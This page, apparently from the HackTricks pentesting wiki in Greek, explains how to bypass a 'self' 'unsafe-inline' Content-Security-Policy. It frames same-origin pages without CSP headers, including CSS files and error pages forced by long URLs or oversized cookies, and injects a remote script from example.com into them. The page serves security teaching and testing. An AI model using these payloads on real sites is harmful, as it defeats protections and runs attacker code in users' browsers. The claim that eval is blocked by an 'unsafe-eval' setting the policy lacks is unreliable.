hacktricks/pentesting-web/content-security-policy-csp-bypass/csp-bypass-self-+-unsafe-inline-with-iframes.md

81 lines
6.4 KiB
Markdown
Raw Normal View History

2022-04-28 16:01:33 +00:00
<details>
2024-02-10 22:40:18 +00:00
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 22:40:18 +00:00
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
2022-04-28 16:01:33 +00:00
2024-02-10 22:40:18 +00:00
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ τρικς σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
2022-04-28 16:01:33 +00:00
</details>
2024-02-10 22:40:18 +00:00
Μια διαμόρφωση όπως:
2022-04-19 22:38:50 +00:00
```
2024-02-07 04:05:50 +00:00
Content-Security-Policy: default-src 'self' 'unsafe-inline';
2022-04-19 22:38:50 +00:00
```
2024-02-10 22:40:18 +00:00
Απαγορεύει τη χρήση οποιασδήποτε λειτουργίας που εκτελεί κώδικα που μεταδίδεται ως συμβολοσειρά. Για παράδειγμα: οι `eval, setTimeout, setInterval` θα αποκλειστούν όλες λόγω της ρύθμισης `unsafe-eval`.
2022-04-19 22:38:50 +00:00
2024-02-10 22:40:18 +00:00
Αποκλείονται επίσης και τα περιεχόμενα από εξωτερικές πηγές, συμπεριλαμβανομένων εικόνων, CSS, WebSockets και, ιδιαίτερα, JS.
2022-04-19 22:38:50 +00:00
2024-02-10 22:40:18 +00:00
### Μέσω Κειμένου & Εικόνων
2022-04-19 22:38:50 +00:00
2024-02-10 22:40:18 +00:00
Παρατηρείται ότι οι σύγχρονοι περιηγητές μετατρέπουν εικόνες και κείμενο σε HTML για να βελτιώσουν την εμφάνισή τους (π.χ. ρύθμιση φόντου, κεντράρισμα κ.λπ.). Συνεπώς, αν μια εικόνα ή ένα αρχείο κειμένου, όπως το `favicon.ico` ή το `robots.txt`, ανοίγεται μέσω ενός `iframe`, απεικονίζεται ως HTML. Είναι σημαντικό να σημειωθεί ότι αυτές οι σελίδες συνήθως δεν περιέχουν κεφαλίδες CSP και ενδέχεται να μην περιλαμβάνουν το X-Frame-Options, επιτρέποντας την εκτέλεση αυθαίρετου JavaScript από αυτές:
2022-04-19 22:38:50 +00:00
```javascript
frame=document.createElement("iframe");
frame.src="/css/bootstrap.min.css";
document.body.appendChild(frame);
script=document.createElement('script');
2024-02-07 04:05:50 +00:00
script.src='//example.com/csp.js';
2022-04-19 22:38:50 +00:00
window.frames[0].document.head.appendChild(script);
```
2024-02-10 22:40:18 +00:00
### Μέσω Σφαλμάτων
2022-04-19 22:38:50 +00:00
2024-02-10 22:40:18 +00:00
Ομοίως, οι αποκρίσεις σφαλμάτων, όπως αρχεία κειμένου ή εικόνες, συνήθως δεν περιέχουν κεφαλίδες CSP και μπορεί να παραλείπουν τις X-Frame-Options. Τα σφάλματα μπορούν να προκαλέσουν τη φόρτωση μέσα σε ένα iframe, επιτρέποντας τις ακόλουθες ενέργειες:
2022-04-19 22:38:50 +00:00
```javascript
2024-02-07 04:05:50 +00:00
// Inducing an nginx error
2022-04-19 22:38:50 +00:00
frame=document.createElement("iframe");
frame.src="/%2e%2e%2f";
document.body.appendChild(frame);
2024-02-07 04:05:50 +00:00
// Triggering an error with a long URL
2022-04-19 22:38:50 +00:00
frame=document.createElement("iframe");
frame.src="/"+"A".repeat(20000);
document.body.appendChild(frame);
2024-02-07 04:05:50 +00:00
// Generating an error via extensive cookies
2022-04-19 22:38:50 +00:00
for(var i=0;i<5;i++){document.cookie=i+"="+"a".repeat(4000)};
frame=document.createElement("iframe");
frame.src="/";
document.body.appendChild(frame);
2024-02-07 04:05:50 +00:00
// Removal of cookies is crucial post-execution
2022-04-19 22:38:50 +00:00
for(var i=0;i<5;i++){document.cookie=i+"="}
```
2024-02-10 22:40:18 +00:00
Μετά την ενεργοποίηση οποιουδήποτε από τα αναφερόμενα σενάρια, η εκτέλεση του JavaScript μέσα στο iframe είναι εφικτή ως εξής:
2022-04-19 22:38:50 +00:00
```javascript
script=document.createElement('script');
2024-02-07 04:05:50 +00:00
script.src='//example.com/csp.js';
2022-04-19 22:38:50 +00:00
window.frames[0].document.head.appendChild(script);
```
2024-02-10 22:40:18 +00:00
## Αναφορές
2022-04-19 22:38:50 +00:00
* [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/)
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 22:40:18 +00:00
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 22:40:18 +00:00
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
2022-04-28 16:01:33 +00:00
2024-02-10 22:40:18 +00:00
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΠΛΑΝΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
2022-04-28 16:01:33 +00:00
</details>